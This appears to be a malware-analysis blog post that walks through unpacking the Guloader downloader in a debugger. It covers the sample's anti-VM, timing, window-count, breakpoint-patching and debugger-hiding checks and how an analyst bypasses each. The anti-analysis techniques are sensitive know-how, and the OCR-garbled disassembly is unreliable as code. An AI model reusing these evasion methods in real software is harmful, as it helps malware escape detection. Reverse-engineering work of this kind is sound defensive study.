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dn

Guloader is a downloader that has been active since 2019. It is known to deliver various malware, more notably:

Agent-Tesla, Netwire, FormBook, Nanocore, and Parallax RAT.

The malware architecture consists of a VB wrapper and a shellcode that does all the malicious activities of
Guloader. Although many malware use crypters that have shellcode in their initial droppers, the Guloader
shellcode is notorious for its anti-analysis capabilities; thus making the unpacking mechanism of Guloader much

more challenging.

The majority of the anti-analysis functionality of Guloader is already published by several security researchers.
However, for researchers who are not 100% familiar with the Guloader shellcode, it could be challenging to

predict where these features are located, which might lead to failure in analysis.

In this article, I will present a step-by-step dynamic analysis of Guloader. As well, the malware anti-analysis
functions, and how to overcome them.

Also, I will demonstrate the malware’s main objectives.

Note- Guloader heavily uses time checks and other traditional anti-analysis techniques. Therefore, to save time, in

this analysis I will use the ScyllaHide plugin.
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Also, several of the Guloader’s anti-analysis techniques are impossible to evade without manual intervention. So I

will mainly (but not only) focus on them.

File metadata

Hash: d55259bcf47af7e645ab7b003aa2cd4071cb36c6

Press enter or click to view image in full size

pestudio 8.99 - | nitial Assessment - www.winitor.com =riE)
file help
i
[ER=1) property value
44 indicaloes (4/21) mes DEFEDGIAIRCIEASD17220293F62R23

H shal FATAFT A 40T
+ dos-header (64 bytes) hal56 2419487 A S0BEEE A314 4 ARBFAS
B dos-stub (120 bytes) E
3 md5-without-overlay
i » file-header (fime-stamp) g e
+ apftional-header (GUT) Lt _Gu Goveray
8 directories (tlime-stamp) shadSb-wiihoyt-ove..

. sections (95.45%) first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 D0 0D FF FF 0D 0D B8 00 O 0D 00 00 00 00 40 0 00—
- libraries (count) first-bytes-text T e L P
-+ impaorts (10/105) file-size 90112 (bytes)
5 ey size-without-overlay 1
e ! K entrapy 5.582
[ resources (language) imphash ,
*: strings (12/506) signature Microsoft Visyal Basic v3.0
¥z debis entry-point 64 3C 18 40 00 ES EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 —
Q L ¢ file-version 1.00
2 version (language) el
&l cenificat description Piar
3 file-type executable
cpu 32-hit
subsystem Gul
campiler-stamp eB0TEI 16D (Wed Apr 14 08:53:33 2021)

debugger-stamp ;
FESOUMCES-STamp (eBOTES 160 (Wed Apr 14 09:53:33 2021)

exporis-stamp
1 [} i ] v | varsion-stamp
sha256: 8419ABTASACL180BEFE1543EFA31BETEASEFEFFQFA88F4822DBCOBAE cpus 32-bit file-type: executable subsystem: GUI entry-peint [

Sample metadata in Pestudio

Getting into the shellcode

In its initial state, Guloader is wrapped with a VB. To overcome it, we’ll first reach the entry point and then set a
breakpoint on VirtualAlloc. Next, we will click Run 12 times (the VB wrapper calls several times to VirtualAlloc,

but we only care about the 12th time).
As we return to user code from the 12th VirtualAlloc, we will see the next image

Press enter or click to view image in full size
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B Memory Map | [ call Stack | =3 SEH | le2| Seript | & symbols | < Source 4+ References
B1FE 1366000 cmp ebx, 661q

o
IFF55 co ;1 dword ptr 55 :[lebp-400 |
1 'EI'I'I'|J TCR, TR0T

81FF FBC300C cmp edi ,C3F8 =
DOE4 ftgt ;Lg:f:A]ég_Ei»Eea_llgerne'l 32.virtualAlloc>
DIFF fcos ||Ju£h ebf:
~ EB 1D ]1mp guloaderpl.408AF5 mov ebp, esp
D7 g
DE4423 0A fiadd st{0),word ptr ds: [ebx g;g E?ﬁp RErEiaTalTocs
0ADA or cl,byte ptr ds:[edx nop ’
0AQA or cl,byte ptr ds: [edx] nop
0AQA or cl,byte ptr ds: [edx] nop
0A0A or cl,byte ptr ds:[edx] nop
0AOA or c},gyte ptr SS: ;egx; ';Dp
0adA or cl,byte ptr ds:[edx] . : ;
OAOA or c1.byte prr ds:[edx] imp dword ptr ds:[<&8virtualallocz]
0AOQA or cl,byte ptr ds: [edx]
0A0A or cl,byte ptr ds:[edx]
0AaDA or cl,byte ptr ds:[edx]
0a0A or cl,byte ptr ds:[edx]
0AQA or cl,byte ptr ds: [edx]
8acy mov edi,eax

81FF B05300C cmp edi,52B0
81F9 44eF000 cmp ecx,EF44
B8 14494000 mov eax,guloaderpl.404914
81FF 6890000 cmp edi,9DEE
B1FF BESBOOC cmp edi,5BSE

31DB wor ebx,ebx
81Fa 8§B04000 cmE edx,48B
D9E1 5
D9EC fldlg2
~ EB 1E jl‘!llE guloaderpl. 408640
12th VirtualAlloc

Now, Guloader will write the shellcode to this newly allocated memory - The process consists of several JMP
instructions. Scroll down until you’ll see a CALL to the register EDI (the place where the shellcode is eventually
stored). Taking this CALL will lead us to the shellcode itself.

LU G L E S0 ueL gpx
00408C1F 4B dec ebx
00408C20 4B dec ebx
00408C21 4B dec ebx
00408C22 4B dec ebx
00408C23 4B dec ebx
00408cC24 4g dec ebx
00408C25 4B dec ebx
00408C26 4B dec e=bx
00408C27 4g dec ebx
00408C28 4B dec ebx
00408C29 4B dec =bx
004 08CZA 4B dec ebx
0040BC2E 4B dec ebx
00408C2C 4B dec ebx
00408BC2D 4B dec ebx
00408C2E 4B dec sbx
00408C2F B1lFa S4CFO0Q cmp edx,CF94
00408C35 B1FF 4BO0CO0] cmp edi,C4B
|o04p8c3s . FFCT €all e
Call the shellcode

Immediately after taking the CALL to EDI, we’ll see a jump to another location. Take this jump as well.

& Graph | | Log ™= Memory Map [ Call Stack =7 SEH 12| Script & sy
~-E0 DE0ODODOO | jmp GOOOE3

@ 00600005 4C dec esp

®| 00600006 1E ush ds

@| 00600007 6295 413F3FE bound edx,qword ptr ss:|ebp-42C0COEF]
Take the jump
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The shellcode

After taking the initial jump, we see three different functions. For our unpacking tutorial, we can skip them and go
straight to the JMP 602766, located at the end.

® Graph | |« Log | | Motes #® Breakpoints E# Memory Map [ Call Stack {
M 66:29C0 cmp CxX,CX
#| 006000EG A9 SEEG5ACO |test eax,CO5AEGSE
#| 006000EB B1EC 0002000 sub esp,200
e 006000F1 FBCe 95 test dh,95
®| 006000F4 55 push ebp
®| 006000F5 3BES cmp ch,ah
®| 006000FY FaC/ BA test bh,8a
@ 006000FA BOES mov ebp,esp
e| 006000FC 66:39C3 cmp bx,ax
o) 006000FF B4FD test ch,bh
e 00600101 66:F7C6 7C23ytest s51,237C
®| 00600106 3IBC2 cmp dl,al
8| 00600108 EE 00000000 |call &60010D call %0
8| 0060010D 66:39CE cmp ax,Ccx
#| 00600110 F7C1 69335D3 test ecx,2F5D03369
®| 00600116 BF45 44 pop dword ptr ss:[lebp+44]
& 000001159 85C8H Test eax,ecx
#| 00600118 B1FA CAAMOFE cmp edx,810FAdcCa
®| 00600121 FF75 44 push dword ptr ss:[[ebp+44]
8| 00600124 a0 no
8| 00600125 ES 381D0000 |Eall 601E62
®| 0060012A B945 44 mov dword ptr ss:|lebp+44[,eax
®| 0060012D Don0 fnop
®| 0060012F B4cC3 test bl,al
o 00600131 66:F7C1 79Cc3itest cx,C379
8| 00600136 EE 71360000 |€all 6037AC
®| 00600138 3BES cmp ch,ah
8| 006001 2D
| 006001 3F leQ 22260000 | Jmp 602766 |
Take the jump

After taking the jump, we see an immediate CALL to 600144, step into it.

006027 6B
00e0276C
006027 6E
0060276F

Step into

® Breakpoints i Memory Map
call 600144 |
sr gy v
74 64 jE 6027D2
6C insb
6 insh

Now, we see several functions and a JMP at the end. Also, we see that the first function is 6013A9.
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?Graph | L.t Log
Y 00600144

0000145
00600148
0060014A
0060014C
0060014F
00600151
00600157
00600159
00e0015E
00e00164
00600169
0060016A
006001 6F
00600174
00800179
00600178
Qoe0017D
00600182
00600187
00600189
006001 8E
00600190
00600195
00600194
Q0e0019C
006001 9E
006001A1
006001 A4
006001A9
006001 AF
00e001B1
006001B6
Q0e001BC

Anti VM function

Anti-Analysis 1: Anti-VM

To our surprise, when we will try to step over the CALL to function 6031A9 we encounter the following message

box.

006001BD -

| 1 Motes ® Breakpoints ## Memory Map [ Ce
59 pop ecx
894D 1C mov dword ptr ss:lebp+lc],ecx
84D3 test bl,dl
38C2 cmp dl,al
66:39CE cmp ax,cx
64 00 push 0

F7C1 250D37H
85CE

68 1D7514B3
81FA 1AF7EL1Z
68 013FC5A7
90

68 5B1B21YF
68 EBAD1T73E
68 20D91FF2
Dopo

84C3

66:F7C1 2764
68 EBE31AnZT
38E5S

68 12BFCBDF
85DE

IEB OF 300000

test ecx,BE370D25

test eax,ecx

push B314751D

cmp edx,2AELF71A
push A7C53F01

nop
push
push
ush
nop

Test

FF21185B
JE17ADEG
F21FD920

b1,al
Test Ccx,0a27
push 27AA3188
cmp ch,ah
push DFCBBF12
test eax,ebx

Eall 6031A9 I

Ba03 TesL D1, a1
38C2 cmp dl,al
83c4 24 add esp, 24
66:39CE cm% ax,cx
ES 54320000 [gall 603403

F7C1 B9FA534
85C8

EE 721D0000
81FA 9C14304
90

test ecx,4353FABY
tTest eax,ecx

gall 601F28

cmp edx,AZ230149C
nop

E9 BE250000

jmp 602780

i

This program cannot be run under virtual environment or
debugging software !

OK

Gotcha

Why did it happen?
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Without paying attention, the shellcode pushed 8 pre-computed hashes into the stack, in the following order:
push 0xB314751D

push 0xA7C53F01

push 0x7F21185B

push 0x3E17ADEG6

push OxF21FD920

push 0x27AA3188

push 0xDFCB8F12

push 0x2D9CC76C

These hashes will be used by the function 6031A9 in the following manner:

1) The function will use the API call ZwQueryVirtualMemory (the kernel equivalent of VirtualQuery) to scan the

process ’s memaory.

2) The pre-computed hashes will be calculated using the djb2 algorithm. Each one of them will represent a string

that is related to a Virtual Machine product (for example 0xB314751D represents “vmtoolsdControlWndClass”).

3) If one of these strings will be found by the ZwQueryVirtualMemory, the process will create the previously

mentioned message box.

How we overcome this anti-VM technique?

There are three different approaches we can take:

1) The first approach is to change the pre-computed hashes on the stack before the call to 6031A9.
2) Fill the CALL line with no operation (NOP)

3) Change the control flow by redirecting the EIP register to contain the address of the next instruction (after the
CALL to 6031A9)

For this example, I took the first approach and changed the hashes suffix to “22”.

Press enter or click to view image in full size

.” VOB UULEE | HoD8 test eax,ebx
alooennian E

ER _BCciac2n lnush Joo--7

EE OF300000 |call 6031A9

e =] CESL LT,
®| 0060019C 38cC2 cmp d1,al
®|| 0060019E B3c4 24 add esp,24
&l ONARNN1 AT A6R:3IGCHR CMD_AY . C¥X

< | I

00603140
00600195

L . b D C

@< Dump1 | &4 Dump2 & Dump 3 & Dump 4 & Dump 5 | & watch 1 | tx= Lzl FS5TER] DFCBaF22
Address |Hex ASCIT a || 0018F27AA3122
77AL0000 BB 44 24 04]CC C2 04 00]CC 90 C3 90|CC C3 90 90[LD3. IA. . 1.A IA.. B S [
77AL0010(88 4C 24 04 |F6 41 04 06|74 05 E8 AL|1D 01 00 BS8|.LS.GA..T.&j..., LN oo18rl 7r311835
77A10020|01 00 00 00|c2 10 00 90|8D B4 24 DC|02 00 00 64|....A.....$50...d Tl by
77A10030(88 0D 00 00|00 00 BA 10[00 Al 77 89|08 89 50 04[......°..{w...P, e [t T
7741004064 43 00 00|00 00 58 8p|7C 24 OC FF|DO 8B BF cCldf....x.|S.y®. .1 0018F
77A10050(02 00 00 &4 |89 OD 00 00|00 OO0 6A 01|57 E8 BE FE|...d......j.we.p Ums;.‘gg”“‘”;g
77A10060(00 00 8B FO|56 E8 1B B8[04 00 EB F8|C2 10 00 90|...DVe.,..%0A... ol Dt T
77A410070(64 88 OD 30|00 00 00 86|49 10 F6 41|0a 08 75 15|d..0....I.8A..u. o018t 06000003
77A10080|FF 74 24 OC|FF 74 24 OB|ES AS 07 09|00 E& 00 00|yt$.yts.av... .. 0018 || 00000172
77410090/00 00 €2 10100 53 86 5C|24 08 F6 43104 06 86 03/..A..s.\S.6c.... Posoh|ReRnntes

Changing the hashes on the stack
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As we continue to step over to the next functions, we encounter the function 601F28, which is 2 functions below
6031A9 (the anti-VM function).

Anti-Analysis 2: Time checks & CPUID

If we will try to step over this function, we’ll see that we are stuck and can't move forward.

8| UUDUULYY BE DUL/ YLD |PUSH ZUDY9CL 7 DL
}nm EE OF300000 call 603149

®| 00600194 84D3 test bl,dl

| 0060019C 38C2 cmp dl,al

®|| 00680019E 83c4a 24 add esp,24

®| 006001Aa1 66:39CE cm;ln = B

@ 006001 A4 EB 5A320000 |EEF 603403

®| 006001A0 F7Cl B9FA534 Test ecx,4353FAED
& 006001AF

@| 006001B1 |EB 72100000 | €&l 601F28 |

Anti-Analysis function
Why did it happen?

Inside the function 601F28, there is another routine that consists of two anti-analysis mechanisms. Time cheks
using RDTSC (Read Time-Stamp Counter), and anti-VM using CPUID.

0 8| 01CF1EDE 66: 2009 cmp_cx, bx
fr—-s@|| ULCFLEDE BUFF BB cmp Bh, 56
]!  e|0ilcFieDe 51 push ecx
i ! @ 0LCF1EDF E8 1F000000 | & 1CF1F03
—}f——*i O1CF1EE4 F7/Cl 233D764 test ecx,46763D23
o o 01CFI1EEA 59 pop ecx
i | 01CF1EER 85CE test eax,ecx
i #| 01CF1EED 01D7 add edi,edx
H e| 01CF1EEF 49 dec ecx
ol o 01CF1EFO 83F9 00 cmp ecx,0
i|-----@|| O1CF1EF3 ~ 75 E6B jne 1CF1EDB
! &/ 0LCF1EFS 81FF COE1E4(Qcmp edi,E4EL1CO
e #| 01CF1EFB ~ 7D DL jge 1CFlECE
e 01CF1EFD 38D2 cmp dl,d]
@ O01CF1EFF c3 ret
e 01CF1FODO0 66:85CA test dx,cx
& 01LCF1F03 EE 13000000 €311 1CF1F1B
o 01CF1FOB BOD6a mov esi,edx
e 01CF1FODA a0 ushad
&/ 01LCF1FOB OF31
@ O1LCF1FOD 31CO X0Or eax,eax
e O1CF1FOF 40 inc eax
#| 01CF1F10 OFAZ
#| 01CF1F12 61 pD%a
@ 01CF1F13 E8 03000000 | &I 1CF1F1B
| 01CF1F18 20F2 sub edx,esi
@& O1ICFI1F1A Cc3 T'-Eg
A&l rCICTE TICACLC I ITamnra

Anti-Analysis function

How we overcome this anti-analysis?

Similar to the first anti-VM, we can change the control flow with the EIP register, or fill the line of the CALL to
601F28 with NOPS.

After choosing our preferred method, we can go to the next JMP instruction.
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@ 00600190 68 6CC79C2D |push 2D9CCT6C

@ 00600195 EE OF300000 |€all a031A9

@ 00600194 84D3 test bl,dl

@ 0060019C 3IBC2 cmp dl,al

e 006001 9E 83C4 24 add esp,24

& 008001al ©6:39CE cmli ax,cx

@ 006001 a4 EE 54320000 |gall 603403

o 006001A9 F7C1l BOFAS34 test ecx,4353FABYD
@ 006001AF B5CE test eax,ecx

] 00600181 90 nop

o 00600182 g0 nop

0| 00600163 Q0 nop

o 00600164 Q0 nop

»| 006001B5 a0 nop

@ 006001E6 B1FA 9C1430A cmp edx,A230148C
e 006001BC ﬁn atalal

-8 006001ED ES BEZ250000 ]ﬂE 602780 |
NOP the function

' Log | Wotes

® Breakpoints

H# Memory Map

After taking the jump, we immediately find ourselves in another CALL to a function called 6001C2, step into it.

[«

1

'| ES 3DDAFFFF

65:6C

call s001C2

insh

rd ptr ss:[ebp+72J,6E

Step Into

Next, we see a function named 602F54 that will take a big role in the main functionality of the shellcode.
This function is responsible for accessing the process environment block (PEB) and returning an API call.
We also see a direct call to the register EAX - something that is always interesting to inspect when we are dealing

with shellcodes.
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i Log [} Motes ® Breakpoints ## Memory Map [ Call S
59 pop ecx
894p 18 mov dword ptr ss:lebp+18],ecx
BE 39050000 [mov eax,539
BA 6DO7AFG0 |mov edx,50AF07ED
Dapo S
B E8 70200000 call 602F54
84C3 g v

66:F7C1 FEDCO
8985 9800004
JBES

E9 B5250000
85D8

59

BA C5DCCF94
B4D32

EE 5A2D0000
38C2

EE 2ZA
66:39C8

5B

F7C1 1D2DESE
31D2

B1FA 4E7VCTAS
53

an

FFDO

58

BIFE OC

7D 2B

6A 00

6A FF

FF95 9800000
EE DLFFFFFF
EB4C24 08
8601

40

ga01

[a Vel Vel

Resolving API Calls

When we step over 602F54, we see that it returns the API call TerminateProcess. Then, we’ll take a jump to

6027A0.

test cx,DDFE

mov dword ptr ss:[ebp+98],eax
cmp ch,ah

jmp 6027A0

tTest eax,ebx

pop ecx

mov edx,94CFDCCS

test bl,dl

call 602F54

cmp dl,al

jmp 600228

cmp ax,cx

pop ebx

test ecx,B9852D1D

xor edx,edx

push edx

test eax,ecx

push esp

cmp edx,AATATCAE

push ebx

no

call =ax

pop eax

cmp eax,C

jge 600249

push 0

push FFFFFFFF

call dword ptr ss:[lebp+298]
call &001FE

mov ecx,dword ptr ss:[lesp+E]
mov eax,dword ptr ds:[ecx]
inc eax

mov dword ptr ds:[ecx],eax

Press enter or click to view image in full size

T

006001CH
006001CE
00600100
006001D2
006001D7
00600109
006001DE
006001E4

Take the jump

BE 39050000 |mov eax,539

BA GDO7AFE0 |mov edx,B0AF076D

Dop0 fnop

EE 70200000 |Eall 602F54

B4C3 test bl,al

66:F7C1l FEDLTest cx,DOFE

8985 9800000 mov dword ptr ss:[ebp+98],eax
cmp ch,ah

38E5
~rE9_E5250000 | jmp 6027A0]

After taking the jump, we find ourselves in a call to the function 6001ED.

Step Into

= 2 2

edx: "TerminateProcess”

Page 9 of 25
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After stepping into this function, we see that we in a location that will call directly to the register EAX.

Now, this register holds the API call EnumWindows (Enumerates all top-level windows on the screen).
Press enter or click to view image in full size

B v | @Groph | Litog | [iNoes | * sreakpoints | == Memorymapistmck | smsen | i sepr | @) symbois | < sou

TUGUULED 50 pap ecx Hide FP

006001EE BA CSDCCFO4 |mov edx,94cFpocS i [ ideERU

006001F3 84D3 rest bl,d 7 7549D1CF <user 32. Enumiindows> |
006001FS EE 54200000 Egall 602F54 ! T

QOG00LFA 3BC2 cmp dl,al E 000000E2 h

006001FC « EE 2a imp 600228 f%  0D000OGD

00GD0LEE 66:39CE mp ax,cx

= 3 oS / EBF  OOL&F500

EsP 00LEFAF4
ESI JFFFFO00

B pop e
F7C1 1D2D85E Test ecx,B59832010
31p2 xor edx,edx

52 push edx EDI  0018F30D8
BSCE TEET 2ax,eCx
54 push esp EIP 0QO0G00ZLE
B1FA 4E7CTAA Cmp odx , AATATCAE
53 push ebx EFLAGS 00000217
a0 4o ZFO PF1 AF 1
B——e| |EFpO |call eax OF 0 SF O DOF O
] i CF1 TF O IF 1
00600219 B3FB OC cmp eax,C ¢
; e = iDies . Riozas Lasterror Q0000000 (ERROR_SUCCESS)
| 00800330 EalleE gush EEEEEEED LastStatus CO000034 (STATUS_OBIECT_NAME_NC
: 00600222 FF95 9800000 €811 dword ptr ss:febp+9&]
00600228 €8 DIFFFFFF gall G001FE ESHO0ZEINRSH005S

EnumWindows
Anti-Analysis 3: Anti-VM\Anti-Sandbox

After we step over the call to EnumWindows, we see the line: cmp eax,c.
Using this line the shellcode determines if there are at least 12 (C in hexadecimal) windows in the machine. If not,

the process will be terminated using the previously mentioned API call - TerminateProcess.

Do 3YCH Cmp ax,cx
5B pop ebx
F7/Cl1 1DZDE5SH test ecx,B98532D1D
31p2 ®or edx,edx
52 push edx
B5CH Test eax,ecx =
54 Hia g Call to EnumWindows
BlFA AE7C7AA Cmp edx,AATATCH
53 push ebx
- an no :
FFDO ca eax
58 pOp_eax [Check how many
8378 oc . :
v~ 7D 2B JOe B0UZa0 windows
6A 00 push 0O
6A FF push FFFFFFFF

FF95 9800000 call dword ptr ss:[[ebp+9&]
EE& DLFFFFFF |call &001FE

Check for at least 12 windows
How we overcome this anti-sandbox?
Switch the flag in the JGE jump if necessary, however, I did not have any issues with it.

As we continue with the normal execution of the shellcode, we see more instances of the function 602F54, one of
these instances resolves the function ZwProtectVirtualMemory (the kernel equivalent of VirtualProtect).

Right after, we’ll see multiple Push 0 instructions and a CALL to the function 6034F4.

Press enter or click to view image in full size
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s 508 Test eax,ebx .
L 8B4D 18 mov ecx,dword ptr ss:febp+1] | | tide Fry

¢ BA 9E336987 |mov edx,B7E9339E —| Eax  00601E8E

[ E8 FC2C0000 |Eall 602F54 EBX  3EAED46F

L 3335 3C01000 mov dm:rdlptr 55 :[febp+13C]J, eax ECY Q0000170 Lo

L test bi, EDKX  7TA2O03E <ntd]1.ZwProtectvirtualmemorys
: Q gggiz: ic .?EE g:xaglword ptr ssijfebp+icl | EEE  OO1AFS00

» BA CA622008 mov edx,52962CE ESP  OO18F4F8

»] 00500254 E8 £52c0000 | £all 602F354 ESTRE T EEEEO

#| 006002GF 8045 24 mov dword prr ss:febp:24]),eax EDI  0O0LBF3CE

| 006 G6:39CE cmp ax,cx

L Frel CAZECI:test ecx ,DECLIECA EIP 00600297

] 89C2 v_edx, Bax

» ES 031cC0000 c;a‘n G01E8S EFLAGS 00000297

»| OOB00282 85C8 TEST eax,ecx ZF 0O PF1 AF 1l

»| O0ED0284 2950 04 mov dword pcr ds: [eax+4], edx OF 0 SF1 OF O

»| 00600287 81FA DO34ATC cmp edx,DCATI4DD cFl1 TFO IF 1

»| 00600280 FGC2 4E tes\ﬁI dl1,4€e

»| 00600290 G5 00 pus

5| odco0ss: S Mo et e Vs g
»| 00600294 661 309CA cmp dx,cx = =i

i cosoozar | FF75 24 | push dword pEr ss:[ebp+24]

| O0600294 BART test bh,dh a3 0028 Fs 0053

8 0060020C Ga 00 push 0 ES 0026 D5 0026

8| 0060028€ 6a 00 pusn 0 €5 0023 55 0028

LK Ga OO ush 0

" a0 E.. b ST{0) FFFFOOOOOD0000000000 x87r0 Special invalid
LI IES 4BE320000 call 6034F4 I 5:'(1) FFFFOOO0000000000000 :3: r1 5pec1a‘l invalid

Getting into the Anti-breakpoint function

Anti-Analysis 4: Anti breakpoints

When we step into this function, we observe an interesting anti-debugging technique. In its first lines, the

shellcode gets the function DbgBreakPoint and store it on esp+18.

mov ecx,dword ptr ss:[lebp+1c] [ebp+1C]:"ntdl1"
mov edx,321C9581 edx:"DbgBreakPoint™
cm% cx,bx

T 292F54
test bx,bx

mov dword ptr ss:[esp+l18],eax

Getting DbgBreakPoint

Then, it gets the function DbgUiRemoteBreaking, and store its address in esp+1C

mov ecx,dword ptr ss:[lebp+1cC] [ebp+1C]:"ntd11"

mov edx,56FO0BDELS edx: "DbguiRemoteBreakin”
Eall 292F54

cmp dx,713C

mov dword ptr ss:[esp+l1c]],eax

Getting DbgUiRemoteBreakin

Next, the shellcode gets the address of DbgBreakingPoint (esp+18) moves it to the EAX register, and writes the
byte 90 into it.
As we remember, 90 represent NOP, which means that each time a breakpoint will occur it will not break because

of the NOP.

Press enter or click to view image in full size
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test dh,20 s .
ushad Moving DbgBreakPoint
fence

address to the eax
ence N

shl edx, 20 register

or edx,eax

popad

mov eax,dword ptr ss5:[lesp+1E&]
mov byte ?tr ds:[eax], 20
test dl,d

cmp eax,ebx Patch DbgBreakPoint to

Cmp eCx,eax

mov eax,dword ptr s H
cp bh, 3t start with NOP

T =l B P P

Patching DbgBreakPoint

Then, the shellcode will do the same with DbgUiRemoteBreaking. However, it will patch its beginning with 6A,
0, B8, and then add the function ExitProcess after. So every time a breakpoint will be happening the process will
be terminated.

Funny enough, this anti-breakpoint mechanism is under another Anti-analysis mechanism using the RDTSC time

checks.

!ence Moving -

shl edx,20 . .
or edx,eax DbgUiRemoteBreaking
popad

mov eax,dword ptr ss:[Pdaddress to the eax
mov byte ?tr ds:[eax], ]
egister

test di,d
cmp eax,ebx

cmp ecx,eax

mu::rf.:'-r eax,dword ptr ss:[lesp+1c] /
cmp bh, ah

mov byte ptr ds:[eax],6a £
mov byte ptr ds:[eax+1],0

mov byte ptr ds:[eax+2],B8 \_
dmov edx,dword ptr 55 y————

test cx,dx Patch

mov dword ptr ds:[ea . i

cmp dh,C6 DbgUiRemoteBreaking to
mov byte ?tr ds: [eax4 i

test cl,a tart with 6A,0,B8

mov byte ptr ds:[eax

mov byte ptr ds:[eax+9],C.!
mov byte ptr ds:[eax+a],4
mov byte ptr ds:[eax+B],0
pushad

mov ebx,6

Patching DbgUiRemoteBreakin

In the end, from the disassembler point of view, the changes will look like this:
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DbgBreakingPoint

cc Tnts ~[ObgBreakPoint
Cc3 ret

90 nop Before

a0 nop

90 nop ] — [DbgBreakpPoint
c3 ret

90 nop After

a0 nop

DbgUiRemoteBreakin

6A 08 bush 8 } DbgU1RémoteBreak1ﬁ
68 B60BAAZ7T7 |push ntdll.77A2BAGD
ES EEESFBFF |call ntdll.77A2DEE4 Before
I 6 00 phsh 0 I I DbgUiRerlnoteE-r‘eakinI
B8 FB795A75 mov eax,<kernel32.ExX1tProcess>
FFDO call =ax
€2 0400 ret 4 After

Before and after patch
How we overcome this anti-breakpoint?

The best way is to bypass the function that responsible for this anti-analysis mechanism, which is 6034F4. Either

NOP or Control flow solutions are fine here.

Press enter or click to view image in full size

e| 00600294 BAF7 test bh,dh ’

@& 0060029C 6a 00 push 0

@ 0060029E 64 00 push 0

®| 00600240 6A 00 push 0

@ 00600242 6A 00 push 0

] 00600244 S0 nop

»|(006002A5 S0 nop .
»| 00600246 30 nop INOP instead of 6034F4
o 006002A7 S0 nop

w|| 00600248 S0 nop

®f 00600249 60 pushad

e 00600244 BEQO BC mov al,BC

& 006002AC 3C BC cmp al,BC

NOP Anti-Analysis function

Anti-Analysis 5: Anti-VM

Next, we see the function 602038, if we step over it and we’ll see the string “C:\Program Files\qqa\qqa.exe”. This
is because 602038 functionality is to search whether the Qemu gues agent is located on the machine. This is

another anti-VM feature of Guloader.

Press enter or click to view image in full size
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[T ——— [
BSCE |test eax,ecx L Jesx 00602081 TP Fil Lexe"
E?SQ D;a.q ?dﬂov dv}'ord ptr :I;:[Pax--:],edx ’la T ANPEOQran esh\qga\\qga. exe
FA DOI4ATD emp edx,DCAT 3400 q
FOC2 4E lteg: d1 4 / % gg:iggggg
Ga 00 | push o
64 00 push 0 ESP Q18F4Ed
66:39CA | emp dx,cx ESI  7FFFFO00
FETS 24 | push dword prr ss:lebps 240 EDI  O018F3D3 <&RUIFreeHeap>
BAF7 rest bh,dh
0 Ga 00 !push 0 EIP QOE002CT
00600298 Ba 00 | push o
00600240 6A 00 EFLAGS 00000201
64 00 ZE O PEO AF O
ag OF 0 SE O DFO
gg CE1l1 TFO IF1
gg Lasterror 00000003 (ERROR_PATH_NOT_FOUND)
50 LastSTatus COO0003A (STATUS_OBIECT_PATH_NOT_FOUND)
B0 BC
2 Be cmp a1 B¢ G5 0028 FS 0053
- OF85 AE1E000 jne GOLEGZ E5 0028 D5 Q028
61 popad €5 0023 S5 0028
G0 ushad
0 GG:64 3598 :0\' dx , 9638 ST(0) FFFFO000000000000000 x87r0 Special invalid
G06002BA 66:81Fa4 389E cmp dx,9E38 ST{1) FFFFOO00000000000000 x87rl Special imvalid
COB002EF “ B8 jne 600249 sT(2) O0000000000000000000 x87r2 Zaro 0. 0000000000000
Eﬂﬁr“]:’l fil ST(3} 40029000000000000000 x87r3 Nonzero 9. 0000000000
DG2C S EE 71100000 5T(4) FFFFCO00000000000000 x87rd special gnan
T T - ™~ 5T(5) IFFDOA209AB4FBCFF7 9 X87r5 Nonzero 0, 3010299356

Qemu gues agent

Get Eli Salem’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

In the next two calls, we see a call to 602F54 which resolves NtSetInformationThread. This API call will be stored
in the EAX register and will be executed several instructions later. However, in this case, we need to pay attention

to the argument NtSetInformationThread gets.
Anti-Analysis 6: NtSetInformationThread

The second argument is ThreadHideFromDebugger (11), which in this case will cause the process to crash if it's

working under a debugger.

Press enter or click to view image in full size

G0 nop —

Q0 nop I& FTALESAC <ntdll thSetInfor'mat‘IonThread}I

gg s R';ih:‘il’ " e e

3C EBC cmp al,sc Egi 2?2%%:2 " tsetinformationthread"
« OFB5 AE1BOO( jne 601EG2 EEP  ODLBFS00

o1 popﬁdd ESP  0D18F4D4

&0 pusha ===

66:64 3898 |mov dx,0B35 ESI  /FFFFOCD

G66:81FA 3896 cmp dx,0B3E EDI  OQ018F3DE
~ 75 BB jne 600249

51 popad EIP Q0a002EC

ES 71100000 | €all 602038

38FE cmp dh,bh EFLAGS 00000246

884D 1C mov ecx,dword ptr ss:[febp+1c] | ZF1 PF1 aAF O

BA 3122154
ES TE2C0000
8985 300100(
G66:E5DB

mov_ edx, 54212E31 [
call 602F34
moy dTuurE ptr ss:febp+1300, eax

OF 0 5F 0 DF O
CFQ TFO IF1

NtSetInformationThread Anti-Analysis
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r LastError 00000003 (ERROR_PATH_NOT_FOUND)
gﬁ gg trhreadHMEmeDEbUESer I Last5tatus CO00003A (STATUS_OBIECT_PATH_NOT_FOUND)
¥
EC cld
BA 11 push 11 GS 0028 F5 Q053
[w:r— - ES 0028 DS 002B
6A FE push FFFEFEFE €5 0023 55 0028
39C9 C SCX,ecy
1 [FFDO & Bax ST{0) FFFFOO00000000000000 x87r0 special invalid
28] PU=Tan ST(1) FFFFOO00000000000000 xB7rl special invalid
BE 9FQ00000 | e cci Oo - sT(2) 00000000000000000000 x87r2 Zero 0.0000000000(
0F31 |cg|]5 to NtSetinformationThread ST(3) 40029000000000000000 %8713 Nohzern 9.00000001
61 sT(4) FFEFCO00000000000000 x87rd4 Special anan
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How we overcome this anti-debugger technique?

ScyllaHide covers this technique, however, we can just change the control flow or insert NOPs.

After bypassing NtSetInformationThread, we will keep step-over until we will reach a JMP at the end of this large

routine, In my case, it is 602773

i @] 00600364 85C0 test eax,eax
L-——-@ 00800366 ~ 75 BB jne 600323
@ 00600368 66:F7C1 85F3jtest Cx,F385
@ 0060036D BB45 68 mov eax,dword ptr ss:|[[ebp+6E]
@| 00600370 8945 20 mov dword ptr ss:|lebp+20],eax
@ 00600373 3op2 cmp edx,edx
@ 00600375 BAEY test bh,ah
|| 00600377 1 =T =T
—]—- F-E9 F5230000 | jmp 602773 |
@ 0060037E oo posiTa
#l 0060037F BE BBOOOOOD |mov es51,BEB
Take the jump

Right after we took the jump, we see a call to another function, step into it.

& cru @ Graph | |+ Log 1 Notes ® Breakpoints
